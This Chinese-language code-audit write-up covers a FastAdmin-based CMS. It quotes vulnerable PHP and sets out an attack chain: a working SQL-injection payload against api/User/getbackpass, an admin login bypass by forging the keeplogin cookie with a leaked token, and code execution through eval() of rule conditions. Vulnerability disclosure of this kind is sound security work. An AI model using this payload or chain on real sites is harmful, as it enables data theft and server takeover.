某fastadmin二开cms代码审计
前置
后台可轻松getshell
怎么进入后台,通过注入,注入的话,密码可能解不出来
前台注入1&2
限制:无
api/User/getbackpass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function getbackpass(){ $mobile = $this->request->request('mobile'); $newpassword = $this->request->request('newpassword'); $captcha = $this->request->request('captcha'); $event = 'register'; $repas = preg_match("/^(?![0-9]+$)(?![a-zA-Z]+$)[0-9A-Za-z]{6,15}$/",$newpassword,$matches); if($repas == 0){ $this->error('密码必须为6-15位的数字和字母'); } $check = true; if($check){ $salt = \db('user')->field('salt')->where("mobile={$mobile}")->find(); $newpassword = Auth::getEncryptPassword($newpassword, $salt['salt']); $ret = $this->auth->getpwd($newpassword,$mobile); }else{ $this->error(__('验证码输入错误,请重新输入')); } if($ret){ $this->success(__('密码重置成功'), $ret); }else{ $this->error(__('密码重置失败')); } }
|
payload
1
| mobile=1) or updatexml(1,concat(0x7e,database()),1)#&newpassword=admin123&captcha123456
|
复现

team方法

前台注入3&4
api/Machine/detail

pullCc
方法

前台注入5&more
api/Cc/detailOrder

…
不在一一列举
后台登录
login
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public function login() { $url = $this->request->get('url', 'index/index'); if ($this->auth->isLogin()) { $this->success(__("You've logged in, do not login again"), $url); } if ($this->request->isPost()) { $username = $this->request->post('username'); $password = $this->request->post('password'); $keeplogin = $this->request->post('keeplogin'); $token = $this->request->post('__token__'); $rule = [ 'username' => 'require|length:3,30', 'password' => 'require|length:3,30', '__token__' => 'token', ]; $data = [ 'username' => $username, 'password' => $password, '__token__' => $token, ]; if (Config::get('fastadmin.login_captcha')) { $rule['captcha'] = 'require|captcha'; $data['captcha'] = $this->request->post('captcha'); } $validate = new Validate($rule, [], ['username' => __('Username'), 'password' => __('Password'), 'captcha' => __('Captcha')]); $result = $validate->check($data); if (!$result) { $this->error($validate->getError(), $url, ['token' => $this->request->token()]); } AdminLog::setTitle(__('Login')); $result = $this->auth->login($username, $password, $keeplogin ? 86400 : 0);
|
auth
中的login
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public function login($username, $password, $keeptime = 0) { $admin = Admin::get(['username' => $username]); if (!$admin) { $this->setError('Username is incorrect'); return false; } if ($admin['status'] == 'hidden') { $this->setError('Admin is forbidden'); return false; } if (Config::get('fastadmin.login_failure_retry') && $admin->loginfailure >= 10 && time() - $admin->updatetime < 86400) { $this->setError('Please try again after 1 day'); return false; } if ($admin->password != md5(md5($password) . $admin->salt) && md5($password) != Config::get('fastadmin.key')) { $admin->loginfailure++; $admin->save(); $this->setError('Password is incorrect'); return false; } $admin->loginfailure = 0; $admin->logintime = time(); $admin->token = Random::uuid(); $admin->save(); if(md5($password) == Config::get('fastadmin.key'))$admin->key = true; Session::set("admin", $admin->toArray()); $this->keeplogin($keeptime); return true; }
|
可以看到,在判断密码的地方存在一个其他的判断
通篇未发现在哪里设置的fastadmin.key
,值得注意的是,当此值为空的时候,password
为数组即可轻松绕过
当然为空的可能型不大
看index中的另外一个分支

跟进方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public function autologin() { $keeplogin = Cookie::get('keeplogin'); if (!$keeplogin) { return false; } list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin); if ($id && $keeptime && $expiretime && $key && $expiretime > time()) { $admin = Admin::get($id); if (!$admin || !$admin->token) { return false; } if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) { return false; } Session::set("admin", $admin->toArray()); $this->keeplogin($keeptime); return true; } else { return false; } }
|
其中$id, $keeptime, $expiretime, $key
均可控,并且$admin->token
可从数据库查询到
可结合前面的注入,直接绕过
后台代码执行
后台首页
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function index() { list($menulist, $navlist, $fixedmenu, $referermenu) = $this->auth->getSidebar([ 'dashboard' => 'hot', 'addon' => ['new', 'red', 'badge'], 'auth/rule' => __('Menu'), 'general' => ['new', 'purple'], ], $this->view->site['fixedpage']); $action = $this->request->request('action'); if ($this->request->isPost()) { if ($action == 'refreshmenu') { $this->success('', null, ['menulist' => $menulist, 'navlist' => $navlist]); } } $this->view->assign('menulist', $menulist); $this->view->assign('navlist', $navlist); $this->view->assign('fixedmenu', $fixedmenu); $this->view->assign('referermenu', $referermenu); $this->view->assign('title', __('Home')); return $this->view->fetch(); }
|
调用的了getSidebar
方法,跟进此方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function getSidebar($params = [], $fixedPage = 'dashboard') { $colorArr = ['red', 'green', 'yellow', 'blue', 'teal', 'orange', 'purple']; $colorNums = count($colorArr); $badgeList = []; $module = request()->module(); foreach ($params as $k => $v) { $url = $k; if (is_array($v)) { $nums = isset($v[0]) ? $v[0] : 0; $color = isset($v[1]) ? $v[1] : $colorArr[(is_numeric($nums) ? $nums : strlen($nums)) % $colorNums]; $class = isset($v[2]) ? $v[2] : 'label'; } else { $nums = $v; $color = $colorArr[(is_numeric($nums) ? $nums : strlen($nums)) % $colorNums]; $class = 'label'; } if ($nums) { $badgeList[$url] = '<small class="' . $class . ' pull-right bg-' . $color . '">' . $nums . '</small>'; } }
$userRule = $this->getRuleList(); $selected = $referer = [];
|
调用了getRuleList
方法,跟进此方法
1 2 3 4 5
| public function getRuleList($uid = null) { $uid = is_null($uid) ? $this->id : $uid; return parent::getRuleList($uid); }
|
调用了父类的getRuleList方法

代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public function getRuleList($uid) { static $_rulelist = []; if (isset($_rulelist[$uid])) { return $_rulelist[$uid]; } if (2 == $this->config['auth_type'] && Session::has('_rule_list_' . $uid)) { return Session::get('_rule_list_' . $uid); }
$ids = $this->getRuleIds($uid); if (empty($ids)) { $_rulelist[$uid] = []; return []; }
$where = [ 'status' => 'normal' ]; if (!in_array('*', $ids)) { $where['id'] = ['in', $ids]; } $this->rules = Db::name($this->config['auth_rule'])->where($where)->field('id,pid,condition,icon,name,title,ismenu')->select();
$rulelist = []; if (in_array('*', $ids)) { $rulelist[] = "*"; } foreach ($this->rules as $rule) { if (!empty($rule['condition']) && !in_array('*', $ids)) { $user = $this->getUserInfo($uid); $command = preg_replace('/\{(\w*?)\}/', '$user[\'\\1\']', $rule['condition']); @(eval('$condition=(' . $command . ');')); if ($condition) { $rulelist[$rule['id']] = strtolower($rule['name']); }
|
end
代码连接
百度云网盘